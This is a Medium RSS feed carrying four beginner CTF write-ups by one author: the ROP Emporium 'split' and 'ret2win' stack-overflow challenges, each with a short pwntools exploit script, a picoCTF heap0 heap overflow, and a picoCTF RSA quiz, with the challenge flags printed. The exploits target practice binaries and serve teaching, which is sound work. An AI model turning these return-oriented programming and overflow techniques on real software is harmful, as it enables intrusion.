<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by k3rn3lbr3ach3r on Medium]]></title>
        <description><![CDATA[Stories by k3rn3lbr3ach3r on Medium]]></description>
        <link>https://medium.com/@k3rn3lbr3ach3r?source=rss-0954fc6dbfd3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by k3rn3lbr3ach3r on Medium</title>
            <link>https://medium.com/@k3rn3lbr3ach3r?source=rss-0954fc6dbfd3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 09:21:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@k3rn3lbr3ach3r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ROP Emporium: Split (x86-64)]]></title>
            <link>https://medium.com/@k3rn3lbr3ach3r/rop-emporium-split-x86-64-a68bf50a2832?source=rss-0954fc6dbfd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/a68bf50a2832</guid>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[ropemporium]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[k3rn3lbr3ach3r]]></dc:creator>
            <pubDate>Tue, 09 Sep 2025 15:01:22 GMT</pubDate>
            <atom:updated>2025-09-09T23:31:37.561Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>In the previous article, we solved <a href="https://medium.com/@k3rn3lbr3ach3r/ropemporium-writeups-ret2win-f6ecc2368f1d"><strong>ret2win</strong></a>, which introduced us to a basic buffer overflow and a simple ret2win technique.In this we are not going in detail on basic topics to view that saw previous <a href="https://medium.com/@k3rn3lbr3ach3r/ropemporium-writeups-ret2win-f6ecc2368f1d">ret2win</a> article.</blockquote><p>This time, we’re tackling the <strong>split</strong> challenge on the <strong>x86_64</strong> architecture.</p><p><strong>Initial Recon:</strong></p><pre>    Arch:       amd64-64-little<br>    RELRO:      Partial RELRO<br>    Stack:      No canary found<br>    NX:         NX enabled<br>    PIE:        No PIE (0x400000)<br>    Stripped:   No</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9rjqrss83RgNabsAnwKePw.png" /><figcaption><strong>Found Some interseting looking things</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dm4_kO8mBj8wMJOrFXzojA.png" /><figcaption><strong>main function calls to pwnme function</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QxI7TnThPOI6zj5BYoMyIA.png" /><figcaption><strong>Finding vulnerablity</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dj6_BlSCoxuQMZBFHo1Zxw.png" /><figcaption>usefulFunction</figcaption></figure><p><strong>Lets find the offset:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9sKRT4zfAW3hWm8xRKFzHw.png" /><figcaption><strong>Genrating cyclic pattern of length 100</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mLYXSl6yA4nEQVa8Lj0Tmg.png" /><figcaption><strong>Found offset 40</strong></figcaption></figure><blockquote><strong>Quick Tip: Finding the Offset Without </strong><strong>cyclic</strong></blockquote><blockquote>Normally, we use cyclic from Pwntools to discover the exact offset to RIP. But in this challenge, we can actually calculate it directly from the stack layout:</blockquote><blockquote>The pwnme function allocates a <strong>32-byte buffer</strong> on the stack.</blockquote><blockquote>Right after the buffer, the program saves the <strong>8-byte RBP</strong> (base pointer).</blockquote><blockquote>The return address (RIP) is stored immediately after the saved RBP.</blockquote><blockquote>So, the distance from the start of our input buffer to RIP is:</blockquote><blockquote>32 (buffer) + 8 (saved RBP) = 40 bytes</blockquote><blockquote>That means our overflow offset is <strong>40</strong> — no need to run cyclic</blockquote><p>This time, there isn’t a neat win function waiting for us. Instead, the binary gives us a call to system() inside usefulFunction. But what exactly does system() do? To figure that out, we can turn to our friend &quot;man”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dRnJokWxIEIJTX0FC4iznw.png" /><figcaption><strong>man system</strong></figcaption></figure><p>So basically system function executes shell commands interesting we can have to execute /bin/bash and get shell then sound interesting right ?<br>Lets see we an find /bin/bash inside the binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xcE7KBLl7vaTQPPCXfRUqg.png" /><figcaption><strong>Woah we found ‘/bin/cat flag.txt’</strong></figcaption></figure><p>Instead of finding /bin/bash, we discovered /bin/cat flag.txt, which actually makes our job easier by directly pointing us toward the flag.</p><p><strong>Crafting Exploit:</strong></p><p>So we need to overflow the buffer and pass “/bin/cat flag.txt” argument to system.</p><p>But How to Pass an argument?</p><p>In x86–64 bit :<br>1st argument → RDI<br>2nd argument → RSI<br>3rd argument → RDX<br>..and so on</p><blockquote>NOTE: <a href="https://refspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf">Page 124 to read more about order of registers</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cQUFW_GJNeReDlZGQ9RAlA.png" /><figcaption><strong>ropper — — search “pop rdi”</strong></figcaption></figure><pre>from pwn import *<br><br>elf = context.binary = ELF(&#39;./split&#39;)<br><br>p = process()<br><br>#context.log_level = &#39;debug&#39;<br>pop_rdi = 0x00000000004007c3<br>splitbincat = 0x601060<br>system = 0x000000000040074b<br>payload = cyclic(40) + pack(pop_rdi) + pack(splitbincat) + pack(system)<br><br>p.sendline(payload)<br><br><br>p.interactive()  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qli45GCgMwgG8M334bzR5g.png" /></figure><p>And just like that, we’ve got the flag after successfully exploiting the split binary!</p><p>I hope you enjoyed reading this writeup. I know it’s been a while since my last one, but I’ll do my best to stay more consistent from here on out. Until next time <br> HAPPY HACKING !!<br><em>~k3rn3lbr3ach3r</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a68bf50a2832" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ROPemporium Writeups: Ret2Win]]></title>
            <link>https://medium.com/@k3rn3lbr3ach3r/ropemporium-writeups-ret2win-f6ecc2368f1d?source=rss-0954fc6dbfd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6ecc2368f1d</guid>
            <category><![CDATA[ropemporium]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[rop]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ret2win]]></category>
            <dc:creator><![CDATA[k3rn3lbr3ach3r]]></dc:creator>
            <pubDate>Thu, 10 Apr 2025 07:25:53 GMT</pubDate>
            <atom:updated>2025-09-09T12:15:41.900Z</atom:updated>
            <content:encoded><![CDATA[<h3>ROPemporium Writeups: Ret2Win(x86–64)</h3><h3>A Fun Dive into ROP Challenges! 🎉</h3><p>Welcome to the ROPemporium, where we take a deep dive into the world of Return-Oriented Programming (ROP) challenges! Today, we’re tackling the Ret2Win challenge, and trust me, it’s going to be a wild ride! Buckle up, grab your favorite snack, and let’s get started! 🍿</p><h3>What is ROP? 🤔</h3><p>Alright, let’s keep it simple. ROP, or Return-Oriented Programming, is like a magician’s trick for exploiting vulnerabilities in software. Instead of injecting new code, we use existing code snippets (or “gadgets”) to perform our dastardly deeds. Think of it as building a LEGO castle using only the pieces already lying around. Pretty neat, right? 🏰</p><h3>Initial Recon: The Detective Work 🕵️‍♂️</h3><p>Before we dive into the action, we need to do some recon. It’s like checking the weather before going on a picnic — nobody wants a surprise rainstorm! ☔️First up, let’s run checksec to see what we’re dealing with:</p><pre>Arch: amd64-64-little<br>RELRO: Partial RELRO<br>Stack: No canary found<br>NX: NX enabled<br>PIE: No PIE (0x400000)<br>Stripped: No</pre><ul><li>Arch: We’re on a 64-bit architecture. Big boy stuff! 💪</li><li>RELRO: Partial RELRO means some protections are in place, but we’re not completely safe.</li><li>Stack: No canary found? That’s like leaving the door wide open for us! 🚪</li><li>NX: NX is enabled, which means we can’t just run our code in the stack. But we’re clever, right? 😉</li><li>PIE: No PIE means the binary is loaded at a fixed address. Easy peasy! 🍋</li><li>Stripped: Not stripped, so we can see some symbols. Hooray for us!</li></ul><p>Next, let’s fire up GDB with Pwndbg and gather some intel.</p><h3>Running Binary in GDB 🐞</h3><p>We’ll run the binary and check out the functions:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ko5x_QLsS40u88b6UEtRVw.png" /></figure><p>Now, let’s disassemble the main function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HBTJlv5TNVzJjzhoX3I_qw.png" /></figure><p>And don’t forget to check out the pwnme function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pfwg7nag9PX8-W-2tYOy9Q.png" /></figure><h3>Finding the Vulnerability: The Treasure Hunt! 🏴‍☠️</h3><p>Now, let’s open Cutter and inspect the pwnme function. It’s like looking for hidden treasure, but instead of gold, we’re after vulnerabilities! 🏆</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cc98xYDZB52Is_tGiQkWWw.png" /></figure><p>Upon inspection, we find that the buffer size is 32 bytes, but the read function is trying to grab 56 bytes. Yikes! That’s a classic buffer overflow waiting to happen!<br>Lets check what ret2win function holds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RjIPmaXZHT3S3hPgg4TDRQ.png" /></figure><p>Boom Lets goo it holds our path to win!!🥇</p><h3>Exploiting This Vulnerability: The Master Plan! 🧠</h3><p>Alright, team, it’s time to strategize our attack! Here’s the plan: we’ll overflow the buffer, send the address of the return, and then pass on the address of the ret2win function. Sounds like a solid plan, right? Let’s break it down!</p><h3>Finding the Offset: Cyclic Command to the Rescue! 🔍</h3><p>We need to find the offset for our payload. Let’s use the cyclic command in Pwndbg.<br>&gt;First use command cyclic 50 to genrate a pattern of 50 and the pass it on to program this will trigger the overflow:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bybYRHW_h_q-eSwIlZZi6w.png" /></figure><p>&gt; Now copy the first 8 bytes of stack (where rsp is pointing) and pass it on to command cyclic -l faaaaaaa :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FffiPIHiEMC7H6lceaIGvg.png" /></figure><p>&gt;Offset = 40 ✅</p><h3>Finding Perfect ROP Gadget: The Gadget Hunt! 🛠️</h3><p>Now, let’s find the perfect ROP gadget using ROPgadget. You can also use tools like Ropper or Radare2. The more, the merrier! 🎉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z8o5coiuY-WSwatZ--N4IA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BgB4u3SJdy8EHcBexUu7Ag.png" /></figure><p>🎉 Woah, we’ve found exactly what we need! 🎉</p><p>Check this out:0x000000000040053e : ret</p><p>You might be wondering, “Why this particular gadget? Why not others?” 🤔 Well, when selecting gadgets, we prioritize those that have minimal or no impact on the program while still allowing us to achieve our goals. That’s why we chose 0x000000000040053e : ret— it has no “side effects” on our payload! 🚀</p><h3>Finding Address of Ret2Win: The Final Piece! 🧩</h3><p>Finally, we need to find the address of the ret2win function. This is the cherry on top of our exploit sundae! 🍒<br>Wait no need to find we already have our address!</p><p>0x0000000000400756 : ret2win</p><h3>Crafting the Payload: The Masterpiece! 🎨</h3><p>Now it’s time to craft our payload! Here’s the script that will do the magic:</p><pre>from pwn import *<br>elf = context.binary = ELF(&#39;./ret2win&#39;)<br>return_addr = 0x000000000040053e<br>p = process()<br>payload = cyclic(40) + pack(return_addr) + pack(elf.sym.ret2win)<br>p.sendline(payload)<br>p.interactive()</pre><p>Let’s break it down:</p><ul><li>We import the necessary libraries.</li><li>Load the binary and set the return address.</li><li>Create our payload with a cyclic pattern, the return address,</li></ul><p>and the address of the ret2win function. It’s like assembling a delicious sandwich—layer by layer! 🥪</p><ul><li>from pwn import *: We’re bringing in the big guns from the pwntools library.</li><li>elf = context.binary = ELF(&#39;./ret2win&#39;): We load our binary into the context. It’s like giving our program a name tag! where it holds all the necessary info about without our manual entries..</li><li>return_addr = 0x000000000040053e: This is the address we want to jump to after our overflow.</li><li>p = process(): We start the process. Let’s get this party started! 🎉</li><li>payload = cyclic(40) + pack(return_addr) + pack(elf.sym.ret2win): We create our payload. First, we fill the buffer with a cyclic pattern, then we add the return address, and finally, we add the address of ret2win as pack(elf.sym.ret2win) will automatically resolve the ret2win function address.</li><li>p.sendline(payload): We send our crafted payload to the process. Fingers crossed! 🤞</li><li>p.interactive(): This line allows us to interact with the process. It’s like opening the door to a new world! 🚪</li></ul><h3>Running and Getting the Flag: The Grand Finale! 🎊</h3><p>Now that we’ve crafted our payload, it’s time to run it and see if we can snag that flag! 🏴‍☠️</p><p>Simply execute your script, and if all goes well, you should see the flag pop up like a jack-in-the-box! 🎈</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oQZ-yZqdBSPvZ2W6UU-hhw.png" /></figure><p>And there you have it! We’ve successfully exploited the Ret2Win challenge and emerged victorious! 🏆</p><h3>Thanks for Reading! 🙌</h3><p>Thanks for joining me on this wild ride through the Ret2Win challenge! I hope you had as much fun reading this as I did writing it. Remember, the world of ROP is vast and full of surprises, so keep your eyes peeled for the next challenge!</p><p>Stay tuned for my next article, where we’ll tackle another exciting challenge. Until then, happy hacking! 🥳</p><p>~<em>k3rn3lbr3ach3r</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6ecc2368f1d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTF heap0 Writeup]]></title>
            <link>https://medium.com/@k3rn3lbr3ach3r/picoctf-heap0-writeup-939185be79d2?source=rss-0954fc6dbfd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/939185be79d2</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[pwntools]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[k3rn3lbr3ach3r]]></dc:creator>
            <pubDate>Wed, 25 Dec 2024 17:19:45 GMT</pubDate>
            <atom:updated>2024-12-25T17:39:02.458Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello and welcome again to new writeup of picoctf.In this write-up, I will guide you through the heap0 challenge, which revolves around understanding heap memory management in C and exploiting a vulnerability to retrieve a flag.</p><p><strong>Challenge name:</strong> <em>heap0</em></p><p><strong>Challenge description:</strong> <em>Are overflows just a stack concern?</em></p><h3><strong>What is heap memory?</strong></h3><p>Heap memory is a region of a process’s memory that is used for dynamic memory allocation. Unlike stack memory, which is managed automatically, heap memory must be managed manually by the programmer. This can lead to vulnerabilities if not handled correctly, such as buffer overflows.</p><h3><strong>Running the Challenge file..</strong></h3><p>To begin, I ran the provided challenge file that came with the challenge. Below is a screenshot of the program in action:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5iYZKzIMN03UfHe4h0eZGg.png" /></figure><h3><strong>Analyzing the given source code(chall.c)</strong></h3><p>Next, I took a closer look at the source code provided. The key functions that stood out to me were check_win() and write_buffer().</p><pre>void check_win() {<br>    if (strcmp(safe_var, &quot;bico&quot;) != 0) {<br>        printf(&quot;\nYOU WIN\n&quot;);<br><br>        // Print flag<br>        char buf[FLAGSIZE_MAX];<br>        FILE *fd = fopen(&quot;flag.txt&quot;, &quot;r&quot;);<br>        fgets(buf, FLAGSIZE_MAX, fd);<br>        printf(&quot;%s\n&quot;, buf);<br>        fflush(stdout);<br><br>        exit(0);<br>    } else {<br>        printf(&quot;Looks like everything is still secure!\n&quot;);<br>        printf(&quot;\nNo flage for you :(\n&quot;);<br>        fflush(stdout);<br>    }<br>}</pre><ul><li><strong>check_win()</strong>: This function checks if the<strong> safe_var</strong> variable has been modified to a specific value. If it hasn&#39;t, the program prints the flag.</li></ul><pre>void write_buffer() {<br>    printf(&quot;Data for buffer: &quot;);<br>    fflush(stdout);<br>    scanf(&quot;%s&quot;, input_data);<br>}</pre><ul><li><strong>write_buffer()</strong>: This function allows us to write data to the <strong>input_data</strong> buffer which is allocated with a size of <strong>5 bytes</strong>, but there is no limit on the length of the input provided. This can lead to a buffer overflow, allowing an us to overwrite <strong>safe_var</strong> variable</li></ul><h3>Exploiting the Vulnerability</h3><p>As we see two memory address when the program runs,<strong>0x55d5c8f386d0(bico) and 0x55d5c8f386b0(pico)</strong>. By subtracting these two addresses, I found(<em>actually chatgpt :0</em>) that the difference is <strong>0x20</strong>, which is<strong> 32</strong> in decimal. This indicates that if we input more than 32 bytes, we can cause an overflow that will overwrite the <strong>safe_var</strong> variable. So to do this we can write a simple python script that can automate our work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RySbeUSBMYcwT9R7cRORWA.png" /></figure><h3>Running script and getting flag…..</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NlHDOPVhHAEseJVJFa2XCQ.png" /></figure><p><strong>Flag: picoCTF{my_first_heap_overflow_76775c7c}</strong></p><p>Thank You! for taking your time and reading my writeup.Note you can do this challenge maunally by inputing 33 bytes by hand but writing this script increase your skills both in coding and helps you understand program better.Follow more writeup and give a clap 👏 if you enjoy this writeup.</p><p><em>~k3rn3lbr3ach3r</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=939185be79d2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PicoCTf rsa-pop-quiz Writeup]]></title>
            <link>https://medium.com/@k3rn3lbr3ach3r/picoctf-rsa-pop-quiz-writeup-5662eba071b6?source=rss-0954fc6dbfd3------2</link>
            <guid isPermaLink="false">https://medium.com/p/5662eba071b6</guid>
            <category><![CDATA[python]]></category>
            <category><![CDATA[rsa]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[k3rn3lbr3ach3r]]></dc:creator>
            <pubDate>Wed, 27 Nov 2024 23:19:00 GMT</pubDate>
            <atom:updated>2024-11-27T23:19:00.208Z</atom:updated>
            <content:encoded><![CDATA[<p>So, this is my first time writing a ctf writeup.I am exited to share my insights on this challenge.</p><p>Lets dive into it ……</p><p><strong>CHALLENGE NAME : </strong><em>rsa-pop-quiz</em></p><p><strong>CHALLENGE DESCRIPTION :</strong><em> Class, take your seats! It’s PRIME-time for a quiz…</em></p><p>Upon starting the challenge we are greeted by this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pESeyqc81zqJWYPrcmZDqw.png" /></figure><p><strong>First Problem:</strong></p><p><strong>Ans: </strong>Y</p><p><strong>Second Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9By3OVRAwu_Z4EvxLsO8Jw.png" /></figure><p>In this problem we are asked to get the value of n.</p><p>So n is nothing but product of p and q .</p><p><strong>n = p*q</strong></p><p>which we can compute by simple python script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z8b6b6ufsS84e3Dl8y461A.png" /></figure><p>running this script we get n.</p><p><strong>n = 4636878989</strong></p><p><strong>Third Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*igtppUiNH-NiXNqEC23t4w.png" /></figure><p>We are asked is solving q is feasible or not.</p><p><strong>Ans: Y</strong></p><p><strong>Fourth Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nFmdEsKQD2k7rMftlx4uhw.png" /></figure><p>asking value of q which is easy to solve as we just saw n=p*q , from this we can get q = n/p ,which we can solve with simple python script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8HdHHWy1MdsBY9KbxgEHrA.png" /></figure><p>Upon running this script we can get value of q.</p><p><strong>q = 93089</strong></p><p><strong>Fifth Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWxmdNP4V0Ig0ETznMG3FQ.png" /></figure><p><strong>Ans: N</strong></p><p><strong>Sixth Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MUP-G74RiJJhi7YbY4Xntw.png" /></figure><p><strong>Ans : Y</strong></p><p><strong>Seventh Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EZ4AWpAik1Qv_0J6Ab457g.png" /></figure><p>So what is totient(n) you might ask ?</p><p><strong><em>totient(n) is (p-1)*(q-1) ,</em></strong> with this knowledege we can make basic python script to calculate totient(n) which is also called as phi(Φ).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*snlrO8dJR_HVH3F4a9ugew.png" /></figure><p>Upon solving we get the result phi.</p><p><strong>phi = 836623060</strong></p><p><strong>Eight Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D8SsUnr-tozS2WpES0rAog.png" /></figure><p><strong>Ans: Y</strong></p><p><strong>Ninth Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zsKOyi1sESfZqzBUglGJdw.png" /></figure><p>In this problem server is asking what is the ciphertext.</p><p>We have got plaintext,e and n so we can calculate the cipher text using <br>this formula:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*LeDmMT9D4dJtmiw7-VhQDA.png" /></figure><p>where c is ciphertext and m is plaintext.We can make a simple python script to calculate that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p8TbHAEtRmV0q2cskhLTmw.png" /></figure><p>We get the result c</p><p><strong>ciphertext = 256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813</strong></p><p><strong>Tenth Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Q_Jks4apyyP8ngqaaDR-A.png" /></figure><p><strong>Ans: N</strong></p><p><strong>Eleventh Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lsw4TXG6-IrCXfLOkB99UQ.png" /></figure><p><strong>Ans: Y</strong></p><p><strong>Twelfth Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FM2RGgz5nbLC4sZJN7QczA.png" /></figure><p>Now they are asking value of d.We are getting in the territory of mathematics.</p><p><strong>d is the modular multiplicative inverse of e modulo phi(n)</strong></p><p>For solving d we can write a simple script in python</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pCcI6GT1CcwIuHkE7Mtf3g.png" /></figure><p>From here we can get d</p><p><strong>d = 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729</strong></p><p><strong>Thirteenth Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UcFClR9JmKR-DPPwucpWtA.png" /></figure><p><strong>Ans: Y</strong></p><p><strong>Fourteenth Problem:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d66rb8co2lZRNooxQGswrA.png" /></figure><p>They are asking us plain text.While solving Ninth problem we got to know about relation between ciphertext and plaintext,we can use that relation here.Lets build the script.</p><p>First we have p and n we can easily find q as we seen in earlier challenge<br><strong>q = n/p.</strong></p><p>After finding q we can find totient(n) or phi(we did it previously too)</p><p>Now we have phi we can find d and use that d to find plain text which is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/339/1*_R8sbSK8OEGGfXMjxjvFyA.png" /></figure><p>Again using all our past knowledge we can craft a script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RxQH1quvMQgZsA4eGSm00A.png" /></figure><p>Upon running this script we get the output<br>output : b’picoCTF{wA8_th4t$_ill3aGal..ode01e4bb}’</p><p>From this we can see flag so no need to go further<br><strong>Flag : picoCTF{wA8_th4t$_ill3aGal..ode01e4bb}</strong></p><p>Thank you for taking the time to read my write-up! I hope you found it insightful and enjoyable. If you liked this content and want to see more, don’t forget to follow me for future writeups and more.</p><p><em>~k3rn3lbr3ach3r</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5662eba071b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>